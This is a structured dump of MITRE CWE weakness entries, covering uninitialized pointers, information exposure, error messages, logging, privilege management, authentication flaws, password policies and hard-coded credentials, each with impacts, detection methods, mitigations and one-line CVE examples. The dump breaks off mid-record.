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[ { "Impact": [ "Read Memory" ], "Likelihood": null, "Note": "If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.", "Scope": [ "Confidentiality" ] }, { "Impact": [ "DoS: Crash, Exit, or Restart" ], "Likelihood": null, "Note": "If the uninitialized pointer references a memory location that is not accessible to the product, or points to a location that is \"malformed\" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.", "Scope": [ "Availability" ] }, { "Impact": [ "Execute Unauthorized Code or Commands" ], "Likelihood": null, "Note": "If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.", "Scope": [ "Integrity", "Confidentiality", "Availability" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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[ { "Description": "LLM product has a free of an uninitialized pointer", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-32878", "Reference": "CVE-2024-32878" }, { "Description": "Chain: secure communications library does not initialize a local variable for a data structure (CWE-456), leading to access of an uninitialized pointer (CWE-824).", "Link": "https://www.cve.org/CVERecord?id=CVE-2019-3836", "Reference": "CVE-2019-3836" }, { "Description": "Chain: C union member is not initialized (CWE-456), leading to access of invalid pointer (CWE-824)", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-14641", "Reference": "CVE-2018-14641" }, { "Description": "chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).", "Link": "https://www.cve.org/CVERecord?id=CVE-2010-0211", "Reference": "CVE-2010-0211" }, { "Description": "Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2768", "Reference": "CVE-2009-2768" }, { "Description": "Free of an uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1721", "Reference": "CVE-2009-1721" }, { "Description": "Improper handling of invalid signatures leads to free of invalid pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1415", "Reference": "CVE-2009-1415" }, { "Description": "Invalid encoding triggers free of uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0846", "Reference": "CVE-2009-0846" }, { "Description": "Crafted PNG image leads to free of uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-0040", "Reference": "CVE-2009-0040" }, { "Description": "Crafted GIF image leads to free of uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2008-2934", "Reference": "CVE-2008-2934" }, { "Description": "Access of uninitialized pointer might lead to code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-4682", "Reference": "CVE-2007-4682" }, { "Description": "Step-based manipulation: invocation of debugging function before the primary initialization function leads to access of an uninitialized pointer and code execution.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-4639", "Reference": "CVE-2007-4639" }, { "Description": "Unchecked return values can lead to a write to an uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-4000", "Reference": "CVE-2007-4000" }, { "Description": "zero-length input leads to free of uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-2442", "Reference": "CVE-2007-2442" }, { "Description": "Crafted font leads to uninitialized function pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-1213", "Reference": "CVE-2007-1213" }, { "Description": "Uninitialized function pointer in freed memory is invoked", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-6143", "Reference": "CVE-2006-6143" }, { "Description": "LDAP server mishandles malformed BER queries, leading to free of uninitialized memory", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-4175", "Reference": "CVE-2006-4175" }, { "Description": "Firewall can crash with certain ICMP packets that trigger access of an uninitialized pointer.", "Link": "https://www.cve.org/CVERecord?id=CVE-2006-0054", "Reference": "CVE-2006-0054" }, { "Description": "LDAP server does not initialize members of structs, which leads to free of uninitialized pointer if an LDAP request fails.", "Link": "https://www.cve.org/CVERecord?id=CVE-2003-1201", "Reference": "CVE-2003-1201" } ]

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[ { "Authors": [ "Mark Dowd", "John McDonald", "Justin Schuh" ], "Edition": "1st Edition", "ExternalReferenceID": "REF-62", "Publication": null, "PublicationDay": null, "PublicationMonth": null, "PublicationYear": "2006", "Publisher": "Addison Wesley", "Section": "Chapter 7, \"Variable Initialization\", Page 312", "Title": "The Art of Software Security Assessment", "URL": null, "URLDate": null } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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200

Exposure of Sensitive Information to an Unauthorized Actor

Class

Simple

Draft

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The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker. Some kinds of sensitive information include: - private, personal information, such as personal messages, financial data, health records, geographic location, or contact details - system status and environment, such as the operating system and installed packages - business secrets and intellectual property - network status and configuration - the product's own code or internal state - metadata, e.g. logging of connections or message headers - indirect information, such as a discrepancy between two internal operations that can be observed by an outsider Information might be sensitive to different parties, each of which may have their own expectations for whether the information should be protected. These parties include: - the product's own users - people or organizations whose information is created or used by the product, even if they are not direct product users - the product's administrators, including the admins of the system(s) and/or networks on which the product operates - the developer Information exposures can occur in different ways: - the code **explicitly inserts** sensitive information into resources or messages that are intentionally made accessible to unauthorized actors, but should not contain the information - i.e., the information should have been "scrubbed" or "sanitized" - a different weakness or mistake **indirectly inserts** the sensitive information into resources, such as a web script error revealing the full system path of the program. - the code manages resources that intentionally contain sensitive information, but the resources are **unintentionally made accessible** to unauthorized actors. In this case, the information exposure is resultant - i.e., a different weakness enabled the access to the information in the first place. It is common practice to describe any loss of confidentiality as an "information exposure," but this can lead to overuse of CWE-200 in CWE mapping. From the CWE perspective, loss of confidentiality is a technical impact that can arise from dozens of different weaknesses, such as insecure file permissions or out-of-bounds read. CWE-200 and its lower-level descendants are intended to cover the mistakes that occur in behaviors that explicitly manage, store, transfer, or cleanse sensitive information.

High

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "Mobile", "Name": null, "Prevalence": "Undetermined", "Type": "Technology" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": null, "Scope": [ "Confidentiality" ] } ]

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Discouraged

CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability, but confidentiality loss is a technical impact - not a root cause error. As of CWE 4.9, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].

If an error or mistake causes information to be disclosed, then use the CWE ID for that error. Consider starting with improper authorization (CWE-285), insecure permissions (CWE-732), improper authentication (CWE-287), etc. Also consider children such as Insertion of Sensitive Information Into Sent Data (CWE-201), Observable Discrepancy (CWE-203), Insertion of Sensitive Information into Externally-Accessible File or Directory (CWE-538), or others.

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[ { "Description": "Developers may insert sensitive information that they do not believe, or they might forget to remove the sensitive information after it has been processed", "Ordinality": "Primary" }, { "Description": "Separate mistakes or weaknesses could inadvertently make the sensitive information available to an attacker, such as in a detailed error message that can be read by an unauthorized party", "Ordinality": "Resultant" } ]

[ { "Description": "This term is frequently used in vulnerability advisories to describe a consequence or technical impact, for any vulnerability that has a loss of confidentiality. Often, CWE-200 can be misused to represent the loss of confidentiality, even when the mistake - i.e., the weakness - is not directly related to the mishandling of the information itself, such as an out-of-bounds read that accesses sensitive memory contents; here, the out-of-bounds read is the primary weakness, not the disclosure of the memory. In addition, this phrase is also used frequently in policies and legal documents, but it does not refer to any disclosure of security-relevant information.", "Term": "Information Disclosure" }, { "Description": "This is a frequently used term, however the \"leak\" term has multiple uses within security. In some cases it deals with the accidental exposure of information from a different weakness, but in other cases (such as \"memory leak\"), this deals with improper tracking of resources, which can lead to exhaustion. As a result, CWE is actively avoiding usage of the \"leak\" term.", "Term": "Information Leak" } ]

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Observable Discrepancy

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The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not.

Discrepancies can take many forms, and variations may be detectable in timing, control flow, communications such as replies or requests, or general behavior. These discrepancies can reveal information about the product's operation or internal state to an unauthorized actor. In some cases, discrepancies can be used by attackers to form a side channel.

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[ { "Impact": [ "Read Application Data", "Bypass Protection Mechanism" ], "Likelihood": null, "Note": "An attacker can gain access to sensitive information about the system, including authentication information that may allow an attacker to gain access to the system.", "Scope": [ "Confidentiality", "Access Control" ] }, { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": "When cryptographic primitives are vulnerable to side-channel-attacks, this could be used to reveal unencrypted plaintext in the worst case.", "Scope": [ "Confidentiality" ] } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ { "Description": "Observable Discrepancies are at the root of side channel attacks.", "Term": "Side Channel Attack" } ]

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209

Generation of Error Message Containing Sensitive Information

Base

Simple

Draft

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The product generates an error message that includes sensitive information about its environment, users, or associated data.

The sensitive information may be valuable information on its own (such as a password), or it may be useful for launching other, more serious attacks. The error message may be created in different ways: - self-generated: the source code explicitly constructs the error message and delivers it - externally-generated: the external environment, such as a language interpreter, handles the error and constructs its own message, whose contents are not under direct control by the programmer An attacker may use the contents of error messages to help launch another, more focused attack. For example, an attempt to exploit a path traversal weakness (CWE-22) might yield the full pathname of the installed application. In turn, this could be used to select the proper number of ".." sequences to navigate to the targeted file. An attack using SQL injection (CWE-89) might not initially succeed, but an error message could reveal the malformed query, which would expose query logic and possibly even passwords or other sensitive information used within the query.

High

[ { "CweID": "200", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": "Often this will either reveal sensitive information which may be used for a later attack or private information stored in the server.", "Scope": [ "Confidentiality" ] } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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532

Insertion of Sensitive Information into Log File

Base

Simple

Incomplete

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The product writes sensitive information to a log file.

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Medium

[ { "CweID": "200", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.", "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" }, { "Note": null, "Phase": "Operation" } ]

[ { "Impact": [ "Read Application Data" ], "Likelihood": null, "Note": "Logging sensitive user data, full path names, or system information often provides attackers with an additional, less-protected path to acquiring the information.", "Scope": [ "Confidentiality" ] } ]

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[ { "Description": "verbose logging stores admin credentials in a world-readable log file", "Link": "https://www.cve.org/CVERecord?id=CVE-2017-9615", "Reference": "CVE-2017-9615" }, { "Description": "SSH password for private key stored in build log", "Link": "https://www.cve.org/CVERecord?id=CVE-2018-1999036", "Reference": "CVE-2018-1999036" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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269

Improper Privilege Management

Class

Simple

Draft

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The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

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Medium

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" }, { "Note": null, "Phase": "Operation" } ]

[ { "Impact": [ "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": null, "Scope": [ "Access Control" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Discouraged

CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports [REF-1287]. It is not useful for trend analysis.

If an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).

[ "Frequent Misuse" ]

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287

Improper Authentication

Class

Simple

Draft

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When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

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High

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[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" }, { "Class": "ICS/OT", "Name": null, "Prevalence": "Often", "Type": "Technology" } ]

[ { "Note": null, "Phase": "Architecture and Design" }, { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Implementation" } ]

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CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-37415", "Reference": "CVE-2021-37415" }, { "Description": "Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-35033", "Reference": "CVE-2021-35033" }, { "Description": "Bluetooth speaker does not require authentication for the debug functionality on the UART port, allowing root shell access", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-10263", "Reference": "CVE-2020-10263" }, { "Description": "Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV.", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-13927", "Reference": "CVE-2020-13927" }, { "Description": "Stack-based buffer overflows in SFK for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV.", "Link": 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authentication bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2213", "Reference": "CVE-2009-2213" }, { "Description": "chain: redirect without exit (CWE-698) leads to resultant authentication bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2168", "Reference": "CVE-2009-2168" }, { "Description": "product does not restrict access to a listening port for a critical service, allowing authentication to be bypassed.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3107", "Reference": "CVE-2009-3107" }, { "Description": "product does not properly implement a security-related configuration setting, allowing authentication bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1596", "Reference": "CVE-2009-1596" }, { "Description": "authentication routine returns \"nil\" instead of \"false\" in some situations, allowing authentication bypass using an invalid username.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2422", "Reference": "CVE-2009-2422" }, { "Description": "authentication update script does not properly handle when admin does not select any authentication modules, allowing authentication bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3232", "Reference": "CVE-2009-3232" }, { "Description": "use of LDAP authentication with anonymous binds causes empty password to result in successful authentication", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-3231", "Reference": "CVE-2009-3231" }, { "Description": "product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3435", "Reference": "CVE-2005-3435" }, { "Description": "chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-0408", "Reference": "CVE-2005-0408" } ]

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Discouraged

This CWE entry might be misused when lower-level CWE entries are likely to be applicable. It is a level-1 Class (i.e., a child of a Pillar).

Consider children or descendants, beginning with CWE-1390: Weak Authentication or CWE-306: Missing Authentication for Critical Function.

[ "Frequent Misuse" ]

[ { "Comment": "Weak Authentication", "CweID": "1390" }, { "Comment": "Missing Authentication for Critical Function", "CweID": "306" } ]

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290

Authentication Bypass by Spoofing

Base

Simple

Incomplete

null

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.

null

[ { "CweID": "287", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

null

[ { "Note": null, "Phase": "Implementation" } ]

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[ { "Description": "S-bus functionality in a home automation product performs access control using an IP allowlist, which can be bypassed by a forged IP address.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-30319", "Reference": "CVE-2022-30319" }, { "Description": "VOIP product allows authentication bypass using 127.0.0.1 in the Host header.", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-1048", "Reference": "CVE-2009-1048" } ]

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[ { "Note": "This can be resultant from insufficient verification.", "Type": "Relationship" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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294

Authentication Bypass by Capture-replay

Base

Simple

Incomplete

null

A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).

Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.

High

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[ { "Description": "product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.", "Link": "https://www.cve.org/CVERecord?id=CVE-2005-3435", "Reference": "CVE-2005-3435" }, { "Description": "Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).", "Link": "https://www.cve.org/CVERecord?id=CVE-2007-4961", "Reference": "CVE-2007-4961" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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295

Improper Certificate Validation

Base

Simple

Draft

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The product does not validate, or incorrectly validates, a certificate.

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by interfering in the communication path between the host and client. The product might connect to a malicious host while believing it is a trusted host, or the product might be deceived into accepting spoofed data that appears to originate from a trusted host.

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[ { "Impact": [ "Bypass Protection Mechanism", "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": null, "Scope": [ "Integrity", "Authentication" ] } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

[ "Acceptable-Use" ]

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[ "A certificate is a token that associates an identity (principal) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner." ]

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306

Missing Authentication for Critical Function

Base

Simple

Draft

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The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

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High

[ { "CweID": "287", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

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[ { "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.", "Phase": "Architecture and Design" }, { "Note": "Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.", "Phase": "Architecture and Design" }, { "Note": "When migrating data to the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), there is a risk of losing the protections that were originally provided by hosting on internal networks. If access does not require authentication, it can be easier for attackers to access the data from anywhere on the Internet.", "Phase": "Operation" } ]

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This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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307

Improper Restriction of Excessive Authentication Attempts

Base

Simple

Draft

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The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.

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[ { "CweID": "287", "Nature": "ChildOf", "Ordinal": "Primary", "ViewID": "1003" } ]

[ { "Class": "Not Language-Specific", "Name": null, "Prevalence": "Undetermined", "Type": "Language" } ]

[ { "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.", "Phase": "Architecture and Design" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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521

Weak Password Requirements

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Simple

Draft

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The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.

Authentication mechanisms often rely on a memorized secret (also known as a password) to provide an assertion of identity for a user of a system. It is therefore important that this password be of sufficient complexity and impractical for an adversary to guess. The specific requirements around how complex a password needs to be depends on the type of system being protected. Selecting the correct password requirements and enforcing them through implementation are critical to the overall success of the authentication mechanism.

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[ { "Impact": [ "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": "An attacker could easily guess user passwords and gain access user accounts.", "Scope": [ "Access Control" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

[ { "Description": "\n\nA product's design should require adherance to an appropriate password policy. Specific password requirements depend strongly on contextual factors, but it is recommended to contain the following attributes:\n\n\n - Enforcement of a minimum and maximum length\n\n - Restrictions against password reuse\n\n - Restrictions against using common passwords\n\n - Restrictions against using contextual string in the password (e.g., user id, app name)\n\nDepending on the threat model, the password policy may include several additional attributes.\n\n - Complex passwords requiring mixed character sets (alpha, numeric, special, mixed case) \n - Increasing the range of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication.\n\n - Unfortunately, a complex password may be difficult to memorize, encouraging a user to select a short password or to incorrectly manage the password (write it down).\n\n - Another disadvantage of this approach is that it often does not result in a significant increases in overal password complexity due to people's predictable usage of various symbols.\n\n\n\n 1. Large Minimum Length (encouraging passphrases instead of passwords) \n - Increasing the number of characters makes the password harder to crack and may be appropriate for systems relying on single factor authentication.\n\n - A disadvantage of this approach is that selecting a good passphrase is not easy and poor passwords can still be generated. Some prompting may be needed to encourage long un-predictable passwords.\n\n\n\n 1. Randomly Chosen Secrets \n - Generating a password for the user can help make sure that length and complexity requirements are met, and can result in secure passwords being used.\n\n - A disadvantage of this approach is that the resulting password or passpharse may be too difficult to memorize, encouraging them to be written down.\n\n\n\n 1. Password Expiration \n - Requiring a periodic password change can reduce the time window that an adversary has to crack a password, while also limiting the damage caused by password exposures at other locations.\n\n - Password expiration may be a good mitigating technique when long complex passwords are not desired.\n\n\n\nSee NIST 800-63B [REF-1053] for further information on password requirements.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "Consider a second authentication factor beyond the password, which prevents the password from being a single point of failure. See CWE-308 for further information.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Architecture and Design" ], "Strategy": null }, { "Description": "Consider implementing a password complexity meter to inform users when a chosen password meets the required attributes.", "Effectiveness": null, "EffectivenessNotes": null, "MitigationID": null, "Phase": [ "Implementation" ], "Strategy": null } ]

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[ { "Description": "key server application does not require strong passwords", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-4574", "Reference": "CVE-2020-4574" } ]

[ { "EntryID": "A3", "EntryName": "Broken Authentication and Session Management", "MappingFit": "CWE More Specific", "TaxonomyName": "OWASP Top Ten 2004" } ]

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Allowed

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.

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522

Insufficiently Protected Credentials

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Simple

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The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

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[ { "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.", "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": "An attacker could gain access to user accounts and access sensitive data used by the user accounts.", "Scope": [ "Access Control" ] } ]

[ { "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "DetectionMethodID": "DM-14", "Effectiveness": "High", "EffectivenessNotes": null, "Method": "Automated Static Analysis" } ]

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Allowed-with-Review

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640

Weak Password Recovery Mechanism for Forgotten Password

Base

Simple

Incomplete

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The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

It is common for an application to have a mechanism that provides a means for a user to gain access to their account in the event they forget their password. Very often the password recovery mechanism is weak, which has the effect of making it more likely that it would be possible for a person other than the legitimate system user to gain access to that user's account. Weak password recovery schemes completely undermine a strong password authentication scheme. This weakness may be that the security question is too easy to guess or find an answer to (e.g. because the question is too common, or the answers can be found using social media). Or there might be an implementation weakness in the password recovery mechanism code that may for instance trick the system into e-mailing the new password to an e-mail account other than that of the user. There might be no throttling done on the rate of password resets so that a legitimate user can be denied service by an attacker if an attacker tries to recover their password in a rapid succession. The system may send the original password to the user rather than generating a new temporary password. In summary, password recovery functionality, if not carefully designed and implemented can often become the system's weakest link that can be misused in a way that would allow an attacker to gain unauthorized access to the system.

High

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[ { "Note": "COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.", "Phase": "Architecture and Design" }, { "Note": null, "Phase": "Implementation" } ]

[ { "Impact": [ "Gain Privileges or Assume Identity" ], "Likelihood": null, "Note": "An attacker could gain unauthorized access to the system by retrieving legitimate user's authentication credentials.", "Scope": [ "Access Control" ] }, { "Impact": [ "DoS: Resource Consumption (Other)" ], "Likelihood": null, "Note": "An attacker could deny service to legitimate system users by launching a brute force attack on the password recovery mechanism using user ids of legitimate users.", "Scope": [ "Availability" ] }, { "Impact": [ "Other" ], "Likelihood": null, "Note": "The system's security functionality is turned against the system by the attacker.", "Scope": [ "Integrity", "Other" ] } ]

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Allowed-with-Review

This entry appears to be frequently misused for any weakness related to password changes, even though the name focuses on "Password Recovery" for a "forgotten" password.

CWE-640 should only be used when there is a "password recovery" mechanism for forgotten passwords. Consider password-related entries under CWE-1390: Weak Authentication.

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798

Use of Hard-coded Credentials

Base

Simple

Draft

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The product contains hard-coded credentials, such as a password or cryptographic key.

There are two main variations: - Inbound: the product contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials. In this variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the product. It can also be difficult for the administrator to detect. - Outbound: the product connects to another system or component, and it contains hard-coded credentials for connecting to that component. This variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password that can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end product.

High

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[ { "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic.", "Phase": "Architecture and Design" } ]

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[ { "Description": "Condition Monitor firmware has a maintenance interface with hard-coded credentials", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-29953", "Reference": "CVE-2022-29953" }, { "Description": "Engineering Workstation uses hard-coded cryptographic keys that could allow for unathorized filesystem access and privilege escalation", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-29960", "Reference": "CVE-2022-29960" }, { "Description": "Distributed Control System (DCS) has hard-coded passwords for local shell access", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-29964", "Reference": "CVE-2022-29964" }, { "Description": "Programmable Logic Controller (PLC) has a maintenance service that uses undocumented, hard-coded credentials", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-30997", "Reference": "CVE-2022-30997" }, { "Description": "Firmware for a Safety Instrumented System (SIS) has hard-coded credentials for access to boot configuration", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-30314", "Reference": "CVE-2022-30314" }, { "Description": "Remote Terminal Unit (RTU) uses a hard-coded SSH private key that is likely to be used in typical deployments", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-30271", "Reference": "CVE-2022-30271" }, { "Description": "Telnet service for IoT feeder for dogs and cats has hard-coded password [REF-1288]", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-37555", "Reference": "CVE-2021-37555" }, { "Description": "Firmware for a WiFi router uses a hard-coded password for a BusyBox shell, allowing bypass of authentication through the UART port", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-35033", 